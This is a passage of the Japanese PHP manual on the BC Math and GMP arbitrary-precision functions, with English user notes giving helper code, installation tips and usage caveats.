Michael Bailey (jinxidoru at byu dot net) 09-Aug-2004 05:42
bcpow() only supports exponents less than or equal to 2^31-1.  Also, bcpow() does not support decimal numbers.  If you have scale set to 0, then the exponent is converted to an interger; otherwise an error is generated.

--
Michael Bailey
http://www.jinxidoru.com


任意精度数値のべき乗の、指定した数値による剰余

  • ≪ bcpow
  • bcscale ≫
  • PHP Manual
  • BC Math 関数
  • 任意精度数値のべき乗の、指定した数値による剰余

bcpowmod

(PHP 5, PHP 7, PHP 8)

bcpowmod — 任意精度数値のべき乗の、指定した数値による剰余

説明

bcpowmod ( string $num , string $exponent , string $modulus , int|null $scale = null ) : string

modulus で割った余りを求めることを考慮して、 num の exponent 乗を高速に計算します。

パラメータ

num

基数を表す整数の文字列。 (つまり、scale は 0 でなければいけません)

exponent

指数を表す、負でない、整数の文字列。 (つまり、scale は 0 でなければいけません)

modulus

法を表す、整数の文字列。 (つまり、scale は 0 でなければいけません)

scale

このオプションパラメータを使用して、 結果の小数点以下の桁数を指定します。省略した場合は、bcscale() 関数でグローバルに設定した桁数をデフォルトとして使用します。それも設定されていない場合は 0 を使用します。

返り値

結果を文字列で返します。modulus が 0 の場合、 または exponent が負の場合、false を返します。

注意

注意:

このメソッドでは剰余計算を行っているので、 正の整数以外を指定すると予期せぬ結果となります。

変更履歴

バージョン | 説明
8.0.0 | scale は、nullable になりました。

例

以下の 2 つの文は機能的に同じです。しかし bcpowmod() バージョンのほうが実行時間が早いうえ、 より大きな値の計算が可能です。

<?php
$a = bcpowmod($x, $y, $mod);

$b = bcmod(bcpow($x, $y), $mod);

// $a と $b は同じ値になります

?>

参考

  • bcpow() - 任意精度数値をべき乗する
  • bcmod() - 2 つの任意精度数値の剰余を取得する

User Contributed Notes

laysoft at gmail dot com 30-Jan-2007 05:34
I found a better way to emulate bcpowmod on PHP 4, which works with very big numbers too:

function powmod($m,$e,$n) {
    if (intval(PHP_VERSION)>4) {
        return(bcpowmod($m,$e,$n));
    } else {
        $r="";
        while ($e!="0") {
            $t=bcmod($e,"4096");
            $r=substr("000000000000".decbin(intval($t)),-12).$r;
            $e=bcdiv($e,"4096");
        }
        $r=preg_replace("!^0+!","",$r);
        if ($r=="") $r="0";
        $m=bcmod($m,$n);
        $erb=strrev($r);
        $q="1";
        $a[0]=$m;
        for ($i=1;$i<strlen($erb);$i++) {
            $a[$i]=bcmod(bcmul($a[$i-1],$a[$i-1]),$n);
        }
        for ($i=0;$i<strlen($erb);$i++) {
            if ($erb[$i]=="1") {
                $q=bcmod(bcmul($q,$a[$i]),$n);
            }
        }
        return($q);
    }
}
rrasss at gmail dot com 15-May-2006 02:46
However, if you read his full note, you see this paragraph:
"The function bcpowmod(v, e, m) is supposedly equivalent to bcmod(bcpow(v, e), m).  However, for the large numbers used as keys in the RSA algorithm, the bcpow function generates a number so big as to overflow it.  For any exponent greater than a few tens of thousands, bcpow overflows and returns 1."

So you still can, and should (over bcmod(bcpow(v, e), m) ), use his function if you are using larger exponents, "any exponent greater than a few tens of thousand."
ewilde aht bsmdevelopment dawt com 27-Sep-2005 09:46
Versions of PHP prior to 5 do not have bcpowmod in their repertoire.  This routine simulates this function using bcdiv, bcmod and bcmul.  It is useful to have bcpowmod available because it is commonly used to implement the RSA algorithm.

The function bcpowmod(v, e, m) is supposedly equivalent to bcmod(bcpow(v, e), m).  However, for the large numbers used as keys in the RSA algorithm, the bcpow function generates a number so big as to overflow it.  For any exponent greater than a few tens of thousands, bcpow overflows and returns 1.

This routine will iterate through a loop squaring the result, modulo the modulus, for every one-bit in the exponent.  The exponent is shifted right by one bit for each iteration.  When it has been reduced to zero, the calculation ends.

This method may be slower than bcpowmod but at least it works.

function PowModSim($Value, $Exponent, $Modulus)
  {
  // Check if simulation is even necessary.
  if (function_exists("bcpowmod"))
    return (bcpowmod($Value, $Exponent, $Modulus));

  // Loop until the exponent is reduced to zero.
  $Result = "1";

  while (TRUE)
    {
    if (bcmod($Exponent, 2) == "1")
      $Result = bcmod(bcmul($Result, $Value), $Modulus);

    if (($Exponent = bcdiv($Exponent, 2)) == "0") break;

    $Value = bcmod(bcmul($Value, $Value), $Modulus);
    }

  return ($Result);
  }


すべての BC 演算関数におけるデフォルトのスケールを設定/取得する

  • ≪ bcpowmod
  • bcsqrt ≫
  • PHP Manual
  • BC Math 関数
  • すべての BC 演算関数におけるデフォルトのスケールを設定/取得する

bcscale

(PHP 4, PHP 5, PHP 7, PHP 8)

bcscale — すべての BC 演算関数におけるデフォルトのスケールを設定/取得する

説明

bcscale ( int $scale ) : int

デフォルトのスケールを設定します。これ以降、 BC 演算関数で明示的にスケールを指定しなかった場合にこの値を使用します。

bcscale ( null $scale = null ) : int

現在のスケールを取得します。

パラメータ

scale

スケール。

返り値

スケールを設定する場合は、古いスケールを返します。 そうでない場合、現在のスケールを返します。

変更履歴

バージョン | 説明
8.0.0 | scale is now nullable.
7.3.0 | bcscale() は、現在のスケールを取得するために 使えるようになりました。スケールを設定する場合は、古いスケールの値を返します。 これより前のバージョンでは、 scale の指定が強制され、 bcscale() は常に true を返していました。

例

例1 bcscale() の例

<?php

// デフォルトのスケールを 3 とします
bcscale(3);
echo bcdiv('105', '6.55957'); // 16.007

// これは、bcscale() を使用せずにおなじ結果を得ます
echo bcdiv('105', '6.55957', 3); // 16.007

?>

User Contributed Notes

yan dot uniko dot 102 at gmail dot com 27-Jun-2020 06:23
Does not work with big scale values, but accept INT as type, but can not process the max INT value, by example for calculate the cube root:

<?php

echo pow(1331, 1/3); // 11 (11^3=1331)
echo bcpow(1331, bcdiv(1, 3, PHP_INT_MAX)); // 1 ??
echo bcdiv(1, 3, PHP_INT_MAX); // 0 ??
sicerwork at aliyun dot com 16-Jan-2017 06:56
Executing bcsacle() will change the scale value of fpm.conf, not only the current process.
nemesarial at gmail dot com 02-Jul-2015 10:45
To remove trailing zeros when using large bcscale number can be done by casting to float when ready to display the number.

<?php
bcscale(15);
$a=123.456;
$b=0.123;

$_ab=bcadd($a,$b);
echo $_ab;
// 123.579000000000000

$ab = (float)$_ab;
echo $ab;
// 123.579

?>
herslyadam at gmail dot com 07-Apr-2014 10:04
edited bcround function with negative number support:
<?php
function bcround($number, $scale=0) {
    if($scale < 0) $scale = 0;
    $sign = '';
    if(bccomp('0', $number, 64) == 1) $sign = '-';
    $increment = $sign . '0.' . str_repeat('0', $scale) . '5';
    $number = bcadd($number, $increment, $scale+1);
    return bcadd($number, '0', $scale);
}
?>
ravenswd at gmail dot com 30-Apr-2012 06:43
Simple, easy way to remove excess trailing zeros using rtrim:
<php>
  // $total is the result of a bcmath calculation
  if ( strpos($total, '.') !== false ):
    $total = rtrim($total, '0');
    $total = rtrim($total, '.');
  endif;
</php>
rastislav dot bostik at bwd21 dot cz 25-Jan-2012 02:20
Previously stated one liner trailing 0 removing using rtrim() works fine except following class of subcases:

<?php
echo rtrim('100.0000', '0.'); // 1 instead 100
echo rtrim('1230.00000000', '0.'); // 123 instead 1230
?>

What seems to be working to me is using regular expression replacement. Althought it`s probably not that fast as rtrim(), I hope it should be more reliable:

<?php
function removeFloatNumStringZeroTrailer($input) {
    $patterns = array('/[\.][0]+$/','/([\.][0-9]*[1-9])([0]*)$/');
    $replaces = array('','$1');
    return preg_replace($patterns,$replaces,$input);
}

echo removeFloatNumStringZeroTrailer('100.0000'); // says 100
echo removeFloatNumStringZeroTrailer('1230.00000000'); // says 1230
?>
mwgamera at gmail dot com 05-Dec-2007 06:45
These functions DO NOT round off your values. No arbitrary precision libraries do it this way. It stops calculating after reaching scale of decimal places, which mean that your value is cut off after scale number of digits, not rounded. To do the rounding use something like this:
<?php
        function bcround($number, $scale=0) {
                $fix = "5";
                for ($i=0;$i<$scale;$i++) $fix="0$fix";
                $number = bcadd($number, "0.$fix", $scale+1);
                return    bcdiv($number, "1.0",    $scale);
        }
?>
invincible at limitedintelligence dot com 08-Feb-2006 03:50
If you don't set the default scale, be careful when you're chaining together several BC math functions - since by default, these functions will round off your values, losing accuracy very quickly:

<?php
$a = 1.234
$b = 2.345
$c = 7.890

$ab = bcmul($a,$b);           // 2
$abc = bcmul($ab,$c);

echo $abc;                 // 15
?>

... compare with the answer you get when you use more decimal places:

<?php
$a = 1.234
$b = 2.345
$c = 7.890

bcscale(15);
$ab = bcmul($a,$b);           // 2.893730
$abc = bcmul($ab,$c);

echo $abc;                 // 22.83152970
?>


任意精度数値の平方根を取得する

  • ≪ bcscale
  • bcsub ≫
  • PHP Manual
  • BC Math 関数
  • 任意精度数値の平方根を取得する

bcsqrt

(PHP 4, PHP 5, PHP 7, PHP 8)

bcsqrt — 任意精度数値の平方根を取得する

説明

bcsqrt ( string $num , int|null $scale = null ) : string

num の平方根を返します。

パラメータ

num

オペランドを表す文字列。

scale

このオプションパラメータを使用して、 結果の小数点以下の桁数を指定します。省略した場合は、bcscale() 関数でグローバルに設定した桁数をデフォルトとして使用します。それも設定されていない場合は 0 を使用します。

返り値

平方根を文字列で返します。 num が負の場合は null を返します。

変更履歴

バージョン | 説明
8.0.0 | scale は、nullable になりました。

例

例1 bcsqrt() の例

<?php

echo bcsqrt('2', 3); // 1.414

?>

参考

  • bcpow() - 任意精度数値をべき乗する

User Contributed Notes

There are no user contributed notes for this page.


任意精度数値の減算を行う

  • ≪ bcsqrt
  • GMP ≫
  • PHP Manual
  • BC Math 関数
  • 任意精度数値の減算を行う

bcsub

(PHP 4, PHP 5, PHP 7, PHP 8)

bcsub — 任意精度数値の減算を行う

説明

bcsub ( string $left_operand , string $right_operand , int $scale = 0 ) : string

left_operand から right_operand を引きます。

パラメータ

num1

左オペランドを表す文字列。

num2

右オペランドを表す文字列。

scale

このオプションパラメータを使用して、 結果の小数点以下の桁数を指定します。省略した場合は、bcscale() 関数でグローバルに設定した桁数をデフォルトとして使用します。それも設定されていない場合は 0 を使用します。

返り値

減算の結果を文字列で返します。

例

例1 bcsub() の例

<?php

$a = '1.234';
$b = '5';

echo bcsub($a, $b);     // -3
echo bcsub($a, $b, 4);  // -3.7660

?>

参考

  • bcadd() - 2つの任意精度の数値を加算する

User Contributed Notes

charles dot adrian dot wood at gmail dot com 14-May-2019 02:52
Please note that bcsub will fail in non-obvious ways if it's fed something that cannot be converted to a number. For instance:

bcsub('yes', 'no') === '0'

Yes, if you put garbage in, you get garbage out. Just don't expect bcsub to throw an error when you feed it an entirely non-numeric value.
nd at snackbox dot org 28-Mar-2018 09:26
The parameter order here is probably fairly obvious to most people (subtract right from left), but to clarify with a simple use case since I was struggling with this at the end of a long day:

<?php
echo bcsub('7', '5'); // 7 - 5 = '2'
echo bcsub('12', '17'); // 12 - 17 = '-5'
?>

Provide the parameters in the same order you would when using a normal subtraction operator.


GNU Multiple Precision

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • 例
  • GMP 関数
    • gmp_abs — 絶対値
    • gmp_add — 数値を加算する
    • gmp_and — ビット AND を計算する
    • gmp_binomial — 二項係数を計算する
    • gmp_clrbit — ビットをクリアする
    • gmp_cmp — 数を比較する
    • gmp_com — 1 の補数を計算する
    • gmp_div_q — 数値を除算する
    • gmp_div_qr — 除算を行い、商と余りを得る
    • gmp_div_r — 除算の余りを計算する
    • gmp_div — gmp_div_q のエイリアス
    • gmp_divexact — 正確な除算
    • gmp_export — バイナリ文字列にエクスポートする
    • gmp_fact — 階乗
    • gmp_gcd — 最大公約数を計算する
    • gmp_gcdext — 最大公約数と乗数を計算する
    • gmp_hamdist — ハミング距離
    • gmp_import — バイナリ文字列からインポートする
    • gmp_init — GMP 数を作成する
    • gmp_intval — GMP 数を整数に変換する
    • gmp_invert — 法による逆
    • gmp_jacobi — ヤコビ記号
    • gmp_kronecker — クロネッカーの記号を計算する
    • gmp_lcm — 最小公倍数を計算する
    • gmp_legendre — ルジェンドル記号
    • gmp_mod — モジュロ演算
    • gmp_mul — 数値を乗算する
    • gmp_neg — 符号を反転する
    • gmp_nextprime — 次の素数を見つける
    • gmp_or — ビット OR を計算する
    • gmp_perfect_power — 累乗数かどうかを調べる
    • gmp_perfect_square — 平方数かどうかを調べる
    • gmp_popcount — セットされているビットの数
    • gmp_pow — べき乗を計算する
    • gmp_powm — べき乗とモジュロを計算する
    • gmp_prob_prime — 数が"おそらく素数"であるかどうかを調べる
    • gmp_random_bits — 乱数を生成する
    • gmp_random_range — 乱数を生成する
    • gmp_random_seed — 乱数シードを設定する
    • gmp_random — 乱数を生成する
    • gmp_root — n乗根の整数部を返す
    • gmp_rootrem — n乗根の整数部分と小数部分を返す
    • gmp_scan0 — 0 を探す
    • gmp_scan1 — 1 を探す
    • gmp_setbit — ビットを設定する
    • gmp_sign — 数の符号
    • gmp_sqrt — 平方根を計算する
    • gmp_sqrtrem — 余りつきの平方根
    • gmp_strval — GMP 数を文字列に変換する
    • gmp_sub — 数値の減算
    • gmp_testbit — ビットが設定されているかどうかを調べる
    • gmp_xor — ビット XOR を計算する
  • GMP — GMP クラス

User Contributed Notes

Anonymous 15-Nov-2011 05:38
Be careful with GMP - it considers leading zeros in a number string as meaning the number is in octal, whereas 'bc' doesn't:

  gmp_strval("000100", 10) => 64

  bcmul("000100", "1") => 100


はじめに

以下の関数により、GNU MP ライブラリを使用して 任意長の整数を使用することが可能になります。

注意:

大半の GMP 関数は、GMP 数を引数としてとります。 このマニュアルでは、GMP 数を GMP オブジェクトとしています。 しかし PHP 5.5 以前のバージョンでは、GMP 数をリソースとして表していました。 これらの関数の大半は、数値と文字列も 引数として指定可能です。ただし、後者は数値に変換できる場合に限ります。 また、整数引数を使用して処理を行うより高速な関数がある場合には、 指定された引数が整数である場合により低速となる関数の代わりに 使用されます。これは透過的に行われます。 gmp_init() も参照ください。

注意:

PHP 5.6 以降は、 gmp_init() やその他の GMP 関数が返す GMP オブジェクトに対して、 代数演算子や ビット演算子そして 比較演算子 が使えるようになります。

警告

より大きな整数を明示的に指定するには、文字列として指定する必要があります。 さもないと、PHP は値ををまず float として解釈するので、 精度が劣化してしまいます。

注意: PHP 5.1.0 以降、この拡張モジュールは Windows でも使用可能です。

User Contributed Notes

There are no user contributed notes for this page.


要件

» http://gmplib.org/#DOWNLOAD から GMP ライブラリをダウンロード可能です。 このサイトでは、GMP のマニュアルも入手可能です。

これらの関数を使用するには、GMP バージョン 2 以降が必要です。 中には、より新しいバージョンの GMP ライブラリを必要とする関数もあります。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

これらの関数を利用可能とするには、オプション --with-gmp を使用することにより GMP サポートを有効にして PHP をコンパイルする必要が あります。

User Contributed Notes

1602352639 at qq dot com 26-Jun-2020 11:07
ubuntu

sudo apt install php-gmp
oharry0535 at gmail dot com 08-Feb-2019 07:51
Under Windows you will need to un-comment the line in your php.ini file

;extension=gmp

within the php.ini and restart Apache.
insign at gmail dot com 10-Nov-2016 08:00
Simple run:
   sudo apt install php7.0-gmp
sean at crazyhorsecoding dot com 28-Dec-2013 08:45
on Ubuntu Server:

sudo apt-get install libgmp-dev
sudo apt-get install php5-gmp
sudo service apache2 reload
omagaldadze at yahoo dot com 04-May-2013 09:41
On ArchLinux php 5.4.14-1 I had to uncomment the line

extension=gmp.so

in /etc/php/php.ini file.

Probably, restart of web server (e.g. Apache) is required if working from web.
mike dot mackintosh at angrystatic dot com 01-Apr-2013 03:07
On Debian platforms, make sure you install the gmp development library first:

    sudo apt-get install libgmp-dev

Just like other extensions, you need the libs installed before php compile will gracefully complete.
admin at ee-dd dot com 03-Oct-2011 09:18
on ubuntu you can get it from Synaptic Package Manager
just search words "gmp",you'll find it.
MiquelFire 24-Aug-2009 12:40
With PHP 5.3 on Windows, you need to use the VC9 build, otherwise you will not have the dll to enable GMP
Chris 02-Mar-2009 11:49
Under Windows you will need to uncomment the line

;extension=php_gmp.dll

within the php.ini and restart Apache.
arancaytar dot ilyaran at gmail dot com 30-Dec-2008 11:48
Note that this parameter requires a path, as in --with-gmp=DIR, if gmp is installed in a non-standard location, which is almost always the case when you are building your own PHP installation in your home directory.

Obvious, but it's an easy mistake.


リソース型

PHP 5.6 より前のバージョンでは、ほとんどの GMP 関数は、GMP 数のリソースを使っていました。 PHP 5.6 以降は、GMP 数リソースのかわりに GMP オブジェクトを使います。

User Contributed Notes

Numien 17-Sep-2008 09:52
For a GMP number resource, get_resource_type() gives "GMP integer"


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

GMP_ROUND_ZERO (int)
GMP_ROUND_PLUSINF (int)
GMP_ROUND_MINUSINF (int)
GMP_MSW_FIRST (int)
GMP_LSW_FIRST (int)
GMP_LITTLE_ENDIAN (int)
GMP_BIG_ENDIAN (int)
GMP_NATIVE_ENDIAN (int)
GMP_VERSION (string)
GMP ライブラリのバージョン。

User Contributed Notes

AnonyMouse At Do Not Mail Me Dot Com 20-Jul-2020 04:21
Here is a table showing the output from gmp_export given gmp_init( 0x0123456789ABCDEF ) and various inputs parameters on a little endian 64-bit platform.
NOTE that the underscores in the table are used to illustrate the separation between "word"s (which are either char, short, int, or long).

+-----------+-----+--------+-------------------------+
| Word Size | Sig | Endian | gmp_export Hex Result   |
+-----------+-----+--------+-------------------------+
| 1 byte    | MSW | little | 01_23_45_67_89_AB_CD_EF |
+-----------+-----+--------+-------------------------+
| 1 byte    | MSW | big    | 01_23_45_67_89_AB_CD_EF |
+-----------+-----+--------+-------------------------+
| 1 byte    | LSW | little | EF_CD_AB_89_67_45_23_01 |
+-----------+-----+--------+-------------------------+
| 1 byte    | LSW | big    | EF_CD_AB_89_67_45_23_01 |
+-----------+-----+--------+-------------------------+
| 2 bytes   | MSW | little | 2301_6745_AB89_EFCD     |
+-----------+-----+--------+-------------------------+
| 2 bytes   | MSW | big    | 0123_4567_89AB_CDEF     |
+-----------+-----+--------+-------------------------+
| 2 bytes   | LSW | little | EFCD_AB89_6745_2301     |
+-----------+-----+--------+-------------------------+
| 2 bytes   | LSW | big    | CDEF_89AB_4567_0123     |
+-----------+-----+--------+-------------------------+
| 4 bytes   | MSW | little | 67452301_EFCDAB89       |
+-----------+-----+--------+-------------------------+
| 4 bytes   | MSW | big    | 01234567_89ABCDEF       |
+-----------+-----+--------+-------------------------+
| 4 bytes   | LSW | little | EFCDAB89_67452301       |
+-----------+-----+--------+-------------------------+
| 4 bytes   | LSW | big    | 89ABCDEF_01234567       |
+-----------+-----+--------+-------------------------+
| 8 bytes   | MSW | little | EFCDAB8967452301        |
+-----------+-----+--------+-------------------------+
| 8 bytes   | MSW | big    | 0123456789ABCDEF        |
+-----------+-----+--------+-------------------------+
| 8 bytes   | LSW | little | EFCDAB8967452301        |
+-----------+-----+--------+-------------------------+
| 8 bytes   | LSW | big    | 0123456789ABCDEF        |
+-----------+-----+--------+-------------------------+
See the full table at https://pastebin.com/2GX4L3dq

My conclusions and infrences:
* gmp_export appears to strips sign data as if calling gmp_abs( $gmp_resource )
* MSW might stand for Most Signifigant Word (order) as the most significant (highest digit) words come first.
    \- A "word" is a numeric type (char, short, int, or long) determined by the $word_size parameter
* LSW might stand for Least Signifigant Word (order) as the least significant (lowest digit) words come first.
* endianness only matters when you are using a word size greater than 1 because, with a word size of 1, each byte is copied over. With a word size of 2, each short is copied over. 4 is int. When copying numbers larger than a byte, endianness does matter because it changes the order of the bytes within the size of the unit. A 2-byte short will have its bytes swapped depending upon the endianness, but the bits in each byte will remain the same.

This note was too long to post, so I had to move the code to make the above table to https://pastebin.com/gWLU4GF8
i at tiankonguse dot com 06-Aug-2013 02:06
when I var_dump these constants,these values is
GMP_ROUND_ZERO  0
GMP_ROUND_PLUSINF 1
GMP_ROUND_MINUSINF 2
GMP_VERSION  "5.0.2"


例

例1 GMP を使用した階乗関数

<?php
function fact($x)
{
    $return = 1;
    for ($i=2; $i <= $x; $i++) {
        $return = gmp_mul($return, $i);
    }
    return $return;
}

echo gmp_strval(fact(1000)) . "\n";
?>

この例は、1000 の階乗(非常に大きな数です)を非常に高速に計算します。

User Contributed Notes

fe at e dot com 29-Dec-2017 03:08
If you ever need to use this, please see http://php.net/manual/en/function.gmp-fact.php


GMP 関数

参考

より数学的な関数が、 数学 の節にあります。

目次

  • gmp_abs — 絶対値
  • gmp_add — 数値を加算する
  • gmp_and — ビット AND を計算する
  • gmp_binomial — 二項係数を計算する
  • gmp_clrbit — ビットをクリアする
  • gmp_cmp — 数を比較する
  • gmp_com — 1 の補数を計算する
  • gmp_div_q — 数値を除算する
  • gmp_div_qr — 除算を行い、商と余りを得る
  • gmp_div_r — 除算の余りを計算する
  • gmp_div — gmp_div_q のエイリアス
  • gmp_divexact — 正確な除算
  • gmp_export — バイナリ文字列にエクスポートする
  • gmp_fact — 階乗
  • gmp_gcd — 最大公約数を計算する
  • gmp_gcdext — 最大公約数と乗数を計算する
  • gmp_hamdist — ハミング距離
  • gmp_import — バイナリ文字列からインポートする
  • gmp_init — GMP 数を作成する
  • gmp_intval — GMP 数を整数に変換する
  • gmp_invert — 法による逆
  • gmp_jacobi — ヤコビ記号
  • gmp_kronecker — クロネッカーの記号を計算する
  • gmp_lcm — 最小公倍数を計算する
  • gmp_legendre — ルジェンドル記号
  • gmp_mod — モジュロ演算
  • gmp_mul — 数値を乗算する
  • gmp_neg — 符号を反転する
  • gmp_nextprime — 次の素数を見つける
  • gmp_or — ビット OR を計算する
  • gmp_perfect_power — 累乗数かどうかを調べる
  • gmp_perfect_square — 平方数かどうかを調べる
  • gmp_popcount — セットされているビットの数
  • gmp_pow — べき乗を計算する
  • gmp_powm — べき乗とモジュロを計算する
  • gmp_prob_prime — 数が"おそらく素数"であるかどうかを調べる
  • gmp_random_bits — 乱数を生成する
  • gmp_random_range — 乱数を生成する
  • gmp_random_seed — 乱数シードを設定する
  • gmp_random — 乱数を生成する
  • gmp_root — n乗根の整数部を返す
  • gmp_rootrem — n乗根の整数部分と小数部分を返す
  • gmp_scan0 — 0 を探す
  • gmp_scan1 — 1 を探す
  • gmp_setbit — ビットを設定する
  • gmp_sign — 数の符号
  • gmp_sqrt — 平方根を計算する
  • gmp_sqrtrem — 余りつきの平方根
  • gmp_strval — GMP 数を文字列に変換する
  • gmp_sub — 数値の減算
  • gmp_testbit — ビットが設定されているかどうかを調べる
  • gmp_xor — ビット XOR を計算する

User Contributed Notes

Nitrogen 06-Sep-2010 08:02
I made a function that can be used for converting numbers to any base you wish.. instead of returning a string of pre-defined index of characters (i.e. 0-9a-z) you could simply make your own of any length using the array of indexes it returns.
I looked around and didn't see anybody made one, I needed one for a simple compression algorithm with only numbers, I've not actually made it yet but this was an initial idea.

<?php
// ConvertBase function explained:
// we add an array item $Input%$Base floored and divide $Input by $Base floored.
// repeat until $Input is no longer above 0.

function ConvertBase($Input,$Base=10) {
  $Input=gmp_init($Input);
  $Result=array();

  for($i=0;$i<1||gmp_sign($Input)==1;$i++) {
    $Result[]=gmp_intval(gmp_mod($Input,$Base));
    $Input=gmp_div_q($Input,$Base);
  }
  $Result=array_reverse($Result);
  return($Result);
}

// an example how gmp_strval($.., 36); could be achieved:

// the funny emergency number from The IT Crowd
// (leading zeroes aren't liked in gmp_init though)
$Input = '1189998819991197253';

// our example 36 characters used in gmp_strval($.., 36);
$Chars = '0123456789abcdefghijklmnopqrstuvwxyz';

// count the $Chars so they're all used
// or use your own number less than the length of $Chars
$Base = strlen($Chars);

// perform
$Result = ConvertBase($Input,$Base);

// replace the resulting index with the corrosponding characters of the index in $Chars
for($i=0;$i<count($Result);$i++)
  $Result[$i]=$Chars{$Result[$i]};

// compare
printf("gmp_strval:  %s\r\n",gmp_strval($Input,36));
printf("BaseConvert: %s\r\n",implode($Result));

/* OUTPUT:
gmp_strval:  91h7dixfq6h1
BaseConvert: 91h7dixfq6h1
*/
?>
The example shows a familiar result of course, but the idea of this function was so that you can use whatever base you wish, and display entirely your own output to represent any number of choice.

Also, for those who wish to do bitwise shifting, it's quite simple.. to shift left, just multiply the number by pow(2,x), and to shift right, divide by pow(2,x).

<?php
function gmp_shiftl($x,$n) { // shift left
  return(gmp_mul($x,gmp_pow(2,$n)));
}

function gmp_shiftr($x,$n) { // shift right
  return(gmp_div($x,gmp_pow(2,$n)));
}
?>

Have fun,
Nitrogen.
john at worldmapad dot com 22-Jul-2006 11:24
Here's a quick and dirty way to use simple GMP functions with PHP without recompiling. It is dependent upon the use of the exec() function, so make sure you can use exec(). While in safe mode you must consider the safe_mode_exec_dir directive. And don't simply pass user input to the exec function without validating the input first!

Download and Install GMP as instructed in README and INSTALL files.
On my MAC OS X Server, I just did the following:
./configure
make
make check
make install
This installed it in the /usr/local directory. There were some errors, but not with any functions I needed.
Within the gmp-4.#.# cd into the demos directory. Then compile pexpr.c by typing:
make pexpr
This is a simple expressions parser which serves as a simple interface to some of the basic GMP functions.
You can test it then like:
./pexpr "102394874783 * 23498748";
Now you may interface with it using PHP's exec() function.
richard-slater.co.uk 22-Feb-2004 01:03
For those (like me) who are trying to do bit masking with very large numbers, here is a useful function to do the work for you.

<?php
  function isBitSet($bitMask, $bitMap)
  {
    return (bool) gmp_intval(gmp_div(gmp_and($bitMask, $bitMap),$bitMask));
  }
?>


絶対値

  • ≪ GMP 関数
  • gmp_add ≫
  • PHP Manual
  • GMP 関数
  • 絶対値

gmp_abs

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_abs — 絶対値

説明

gmp_abs ( GMP|int|string $num ) : GMP

ある数の絶対値を返します。

パラメータ

num

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

返り値

num の絶対値を GMP 数で返します。

例

例1 gmp_abs() の例

<?php
$abs1 = gmp_abs("274982683358");
$abs2 = gmp_abs("-274982683358");

echo gmp_strval($abs1) . "\n";
echo gmp_strval($abs2) . "\n";
?>

上の例の出力は以下となります。

274982683358
274982683358

User Contributed Notes

There are no user contributed notes for this page.


数値を加算する

  • ≪ gmp_abs
  • gmp_and ≫
  • PHP Manual
  • GMP 関数
  • 数値を加算する

gmp_add

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_add — 数値を加算する

説明

gmp_add ( GMP|int|string $num1 , GMP|int|string $num2 ) : GMP

2 つの数を加算します。

パラメータ

num1

足される数。

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

num2

足す数。

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

返り値

加算の結果を GMP 数で返します。

例

例1 gmp_add() の例

<?php
$sum = gmp_add("123456789012345", "76543210987655");
echo gmp_strval($sum) . "\n";
?>

上の例の出力は以下となります。

200000000000000

User Contributed Notes

There are no user contributed notes for this page.


ビット AND を計算する

  • ≪ gmp_add
  • gmp_binomial ≫
  • PHP Manual
  • GMP 関数
  • ビット AND を計算する

gmp_and

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_and — ビット AND を計算する

説明

gmp_and ( GMP|int|string $num1 , GMP|int|string $num2 ) : GMP

2 つの GMP 数のビット AND を計算します。

パラメータ

num1

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

num2

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

返り値

ビット AND 演算の結果を GMP 数で返します。

例

例1 gmp_and() の例

<?php
$and1 = gmp_and("0xfffffffff4", "0x4");
$and2 = gmp_and("0xfffffffff4", "0x8");
echo gmp_strval($and1) . "\n";
echo gmp_strval($and2) . "\n";
?>

上の例の出力は以下となります。

4
0

User Contributed Notes

There are no user contributed notes for this page.


二項係数を計算する

  • ≪ gmp_and
  • gmp_clrbit ≫
  • PHP Manual
  • GMP 関数
  • 二項係数を計算する

gmp_binomial

(PHP 7 >= 7.3.0, PHP 8)

gmp_binomial — 二項係数を計算する

説明

gmp_binomial ( GMP|int|string $n , int $k ) : GMP

二項係数 C(n, k) を計算します。

パラメータ

n

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

k

返り値

二項係数 C(n, k) を返します。

エラー / 例外

k が負の場合、ValueError がスローされます。 PHP 8.0.0 より前のバージョンでは、E_WARNING レベルの警告が発生していました。

変更履歴

バージョン | 説明
8.0.0 | この関数は、失敗時に false を返さなくなりました。

User Contributed Notes

There are no user contributed notes for this page.


ビットをクリアする

  • ≪ gmp_binomial
  • gmp_cmp ≫
  • PHP Manual
  • GMP 関数
  • ビットをクリアする

gmp_clrbit

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_clrbit — ビットをクリアする

説明

gmp_clrbit ( GMP $num , int $index ) : void

num のビット index をクリア (0 に設定) します。index は 0 から始まります。

パラメータ

num

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

index

クリアするビットのインデックス。0 が最下位ビットを表します。

返り値

GMP オブジェクトを返します。

例

例1 gmp_clrbit() の例

<?php
$a = gmp_init("0xff");
gmp_clrbit($a, 0); // インデックスは 0 から始まり、これは最下位ビットを表します
echo gmp_strval($a) . "\n";
?>

上の例の出力は以下となります。

254

注意

注意:

他の大半の GMP 関数とは異なり、gmp_clrbit() は必ず既存の GMP オブジェクト (例えば gmp_init() を使用して取得したもの) を使用してコールしなければなりません。 リソースは自動的には作成されません。

参考

  • gmp_setbit() - ビットを設定する
  • gmp_testbit() - ビットが設定されているかどうかを調べる

User Contributed Notes

There are no user contributed notes for this page.


数を比較する

  • ≪ gmp_clrbit
  • gmp_com ≫
  • PHP Manual
  • GMP 関数
  • 数を比較する

gmp_cmp

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_cmp — 数を比較する

説明

gmp_cmp ( GMP|int|string $num1 , GMP|int|string $num2 ) : int

ふたつの数を比較します。

パラメータ

num1

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

num2

